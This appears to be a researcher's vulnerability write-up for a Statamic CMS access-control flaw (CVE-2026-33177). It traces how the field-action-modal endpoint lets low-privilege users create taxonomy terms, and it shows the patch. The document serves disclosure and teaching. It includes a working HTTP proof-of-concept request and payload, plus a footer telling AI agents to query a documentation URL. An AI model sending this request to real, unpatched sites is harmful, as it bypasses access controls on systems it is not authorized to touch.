# CVE-2026-33177 (Moderate)

## Broken Access Control in Statamic CMS — Unauthorized Taxonomy Term Creation

**Affected Package:** `statamic/cms` **Affected Version:** `<5.73.14, <6.7.0` &#x20;

**Vulnerability Type:** Broken Access Control (BAC) **Endpoint:** `POST /cp/field-action-modal/process`

{% embed url="<https://github.com/statamic/cms/security/advisories/GHSA-wh3h-gvc4-cc2g>" %}

<figure><img src="/files/WOfhSC7KgWLJtj22MO3G" alt=""><figcaption></figcaption></figure>

***

### Before You Read: Key Concepts

If you are new to web security or PHP frameworks, this section gives you just enough background to follow everything that comes after. Skip it if you are already comfortable with MVC and access control.

#### What is MVC?

MVC stands for **Model, View, Controller**. It is an architectural pattern used in almost every web framework. You will see it mentioned constantly in security writeups, so understanding it is essential.

**View** — The part the user sees. In a browser this is HTML, JavaScript, and CSS. A Vue component (`FieldActionModal.vue`) is a View.

**Controller** — The code that receives an HTTP request, decides what to do, and sends a response. Think of it as a traffic director. It calls models, runs checks, and returns data. `FieldActionModalController.php` is a controller.

**Model** — The code that actually touches your data. It reads from and writes to databases, files, or other storage. `Term.php`, `TermRepository`, and `TaxonomyTermsStore` are all part of the model layer.

In a secure application, the **Controller** should enforce authorization before it hands off work to the **Model**. The **Model** itself should also guard sensitive write operations. If either layer skips that check, you have an authorization gap.

<figure><img src="/files/ysudYeqgJAj6Gjg1rqyC" alt=""><figcaption></figcaption></figure>

### What is a Sink?

In security analysis, a **sink** is the place where a dangerous action actually happens — the write to disk, the database insert, the shell command. You can have checks everywhere else in the code, but if the sink itself has no guard, a bypass is possible.

### **I see someone right now who just heard "Sink" term in DOM XSS.**

<figure><img src="/files/AvuwAcw3jSw3lF1UJxc7" alt=""><figcaption></figcaption></figure>

Yeah, exactly like that , you’re right&#x20;

### But It's Now XSS in This Writeup.....

if you need to know about source and sink , go and watch this :&#x20;

<figure><img src="/files/zSrSRkzrevzmiLLsRzSB" alt=""><figcaption></figcaption></figure>

***

### The Setup: Two Paths to the Same Outcome

Statamic CMS is a PHP content management system. It lets administrators define taxonomies (like tags or categories) and assign terms to those taxonomies. The permission to create a new term in a taxonomy is a specific, grantable privilege — not every CP (Control Panel) user should have it.

<figure><img src="/files/PcPLc8iEN4rcNDzYCQhQ" alt=""><figcaption></figcaption></figure>

The application exposes two relevant route groups:

### **1 ) The official, protected path:**

```
POST /cp/taxonomies/{taxonomy}/terms/{site}
```

Handled by `TermsController::store()`.

### **2 ) The field-action-modal path:  ⇒   "My Target"**

```
POST /cp/field-action-modal/process
```

Handled by `FieldActionModalController::process()`.

Both routes live behind CP authentication middleware, meaning you need a valid CP session. But that is the only shared requirement. **What happens inside is very different**.

***

### How the Official Path Protects You

When a request hits `TermsController::store()`, the first thing it does is run an authorization check:

```php
// vendor/statamic/cms/src/Http/Controllers/CP/Taxonomies/TermsController.php:285
$this->authorize('store', [TermContract::class, $taxonomy]);
```

This resolves to `TermPolicy`, which checks:

```php
// vendor/statamic/cms/src/Policies/TermPolicy.php:55
return $user->hasPermission("create {$taxonomy->handle()} terms");
```

If the user does not have that specific permission, execution stops with a 403. No term is created. The permission model is defined in `CorePermissions.php`, and it is explicit — CP access alone is not enough.

<figure><img src="/files/QR1fruR5L15mWKpUmlmy" alt=""><figcaption><p>403 Not Allowed</p></figcaption></figure>

***

### Discovery: How the Bug Was Found

The discovery followed a simple but effective pattern:

1. A low-privilege CP user hits the official term creation endpoint. Result: **403 Forbidden**. Good.
2. The same user sends a crafted request to `/cp/field-action-modal/process` with a payload designed to create a term. Result: **200 OK**, term created.
3. New `.yaml` files appear in `content/taxonomies/tags/`. The write is real and persistent.

```
content/taxonomies/tags/bac2-1773710217.yaml
content/taxonomies/tags/res2-1773710198.yaml
content/taxonomies/tags/rest-1773710179.yaml
```

A code review then confirmed this is not an edge case or a misconfiguration — it is a structural authorization gap in the server-side processing pipeline.

<figure><img src="/files/W4HB6n8C7mMXNC2ioMRF" alt=""><figcaption><p>POC - Low-priv Create A Tags..</p></figcaption></figure>

***

### Tracing the Vulnerable Path: Step by Step

#### Step 1 — The Controller Trusts the Client

```php
// vendor/statamic/cms/src/Http/Controllers/CP/FieldActionModalController.php:23
public function process(Request $request)
{
    $fields = $this
        ->getFields($request->fields)
        ->addValues($request->values);

    $fields->validate();
    $processed = $fields->process()->values();
}

private function getFields($fieldItems)
{
    return new Fields(
        collect($fieldItems)->map(fn ($field, $handle) => compact('handle', 'field'))
    );
}
```

The controller takes `$request->fields` — a value the attacker fully controls — and passes it directly to `getFields()`. No validation that the field schema is server-defined. No authorization check. The controller's only job here is to orchestrate the pipeline, and it does so blindly.

#### Step 2 — The Pipeline Resolves a `Fieldtype` by Name

```php
// vendor/statamic/cms/src/Fields/Field.php:105
public function fieldtype()
{
    return FieldtypeRepository::find($this->type())->setField($this);
}
```

The `type` key comes from the attacker's JSON. Whatever string they put there, Statamic resolves it to the corresponding fieldtype class and calls `process()` on it. The attacker chooses `"terms"`, which maps to the `Terms` fieldtype.

The crafted payload looks like this:

```json
{
  "fields": {
    "x": {
      "type": "terms",
      "taxonomies": ["tags"]
    }
  },
  "values": {
    "x": ["malicious-term"]
  }
}
```

#### Step 3 — `Terms::process()` Has a Side Effect

```php
// vendor/statamic/cms/src/Fieldtypes/Terms.php:237
public function process($data)
{
    $data = parent::process($data);

    if ($this->usingSingleTaxonomy()) {
        $taxonomy = $this->taxonomies()[0];
        $data = collect($data)->map(function ($id) use ($taxonomy) {
            if (! Str::contains($id, '::')) {
                $id = $this->createTermFromString($id, $taxonomy);
            }
            return explode('::', $id, 2)[1];
        })->unique()->values()->all();
    }

    return $data;
}
```

Most fieldtypes only transform data , they do not persist anything. The `Terms` fieldtype is different. When processing a single , taxonomy field, it checks whether a submitted value is a valid existing term ID. Term IDs contain `::`. If the submitted string does not contain `::`, the code assumes it is a new term label and calls `createTermFromString()`.

The attacker submits `"malicious-term"` — no `::` — so the condition is true, and `createTermFromString()` runs.

#### Step 4 — The Sink Has No Authorization Check

```php
// vendor/statamic/cms/src/Fieldtypes/Terms.php:488
protected function createTermFromString($string, $taxonomy)
{
    $slug = Str::slug($string, '-', $lang);

    if (! $term = Facades\Term::find("{$taxonomy}::{$slug}")) {
        $term = Facades\Term::make()
            ->slug($slug)
            ->taxonomy(Facades\Taxonomy::findByHandle($taxonomy))
            ->set('title', $string);

        $term->save();
    }

    return $term->id();
}
```

This is the sink. It builds a `Term` object and calls `$term->save()`. There is no `$this->authorize()`, no `$user->can()`, nothing. Anyone who reaches this function can write a new term to disk.

The persistence chain goes:

```
Term::save()
  → TermRepository::save()
    → TaxonomyTermsStore::save()
      → ExistsAsFile::writeFile()
        → content/taxonomies/{taxonomy}/{slug}.yaml
```

The file is written. The write is permanent.

***

### Why UI-Level Checks Are Not Enough

You might notice that `Terms.php` does have a permission check — but it is in the wrong place:

```php
// vendor/statamic/cms/src/Fieldtypes/Terms.php:368-383
if (! $user->can('create', [TermContract::class, $taxonomy])) {
    return null;
}
```

This check controls what options are shown in the **UI** ,  specifically, whether the "create new term" option appears in the field's dropdown. It is a presentation-layer guard.

It does not run inside `createTermFromString()`. It does not run inside `process()` on the server when a request comes from an arbitrary endpoint. A direct HTTP request to `/cp/field-action-modal/process` skips the UI entirely, and with it, this check.

This is a pattern worth internalizing: **checks that exist to build the UI are not backend security controls**. They are cosmetic. The server must enforce policy at the point where the actual action is performed.

***

### The Patch: Authorization at the Sink

<https://github.com/statamic/cms/pull/14274>

<figure><img src="/files/waTRz0ITSRnZw3zvutg7" alt=""><figcaption></figcaption></figure>

The fix is conceptually simple and precisely targeted. A permission check was added directly inside `createTermFromString()`, immediately before `$term->save()`:

```php
// After patch
protected function createTermFromString($string, $taxonomy)
{
    $slug = Str::slug($string, '-', $lang);
    $taxonomy = Facades\Taxonomy::findByHandle($taxonomy);

    if (User::current()->cant('create', [TermContract::class, $taxonomy])) {
        return null;
    }

    if (! $term = Facades\Term::find("{$taxonomy->handle()}::{$slug}")) {
        $term = Facades\Term::make()
            ->slug($slug)
            ->taxonomy($taxonomy)
            ->set('title', $string);

        $term->save();
    }

    return $term->id();
}
```

### Proof of Concept

```http
POST /cp/field-action-modal/process HTTP/1.1
Host: target.local
Cookie: [valid CP session cookie]
Content-Type: application/json

{
  "fields": {
    "x": {
      "type": "terms",
      "taxonomies": ["tags"]
    }
  },
  "values": {
    "x": ["injected-term"]
  }
}
```

**Expected result (vulnerable version):** HTTP 200, file written at `content/taxonomies/tags/injected-term.yaml`.

**Expected result (patched version):** HTTP 200 (or null return), no file written if user lacks `create tags terms` permission.

<figure><img src="/files/zu7W0XYrdkvj4L8rusct" alt=""><figcaption></figcaption></figure>

***

### Thank you all! I hope you enjoyed the article. If you have any questions, I’m here to help. <a href="#id-8fd6" id="id-8fd6"></a>

Remember My name : everythingBlackkk

Made by ❤

Github : <https://github.com/everythingBlackkk>

Linkedin : [www.linkedin.com/in/everythingblackkk](http://www.linkedin.com/in/everythingblackkk)

X : <https://x.com/0xblackkk>

Youtube : <https://www.youtube.com/@everythingBlackkk>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://everythingblackkk.gitbook.io/everythingblackkk/my-cve/cve-2026-33177-moderate.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
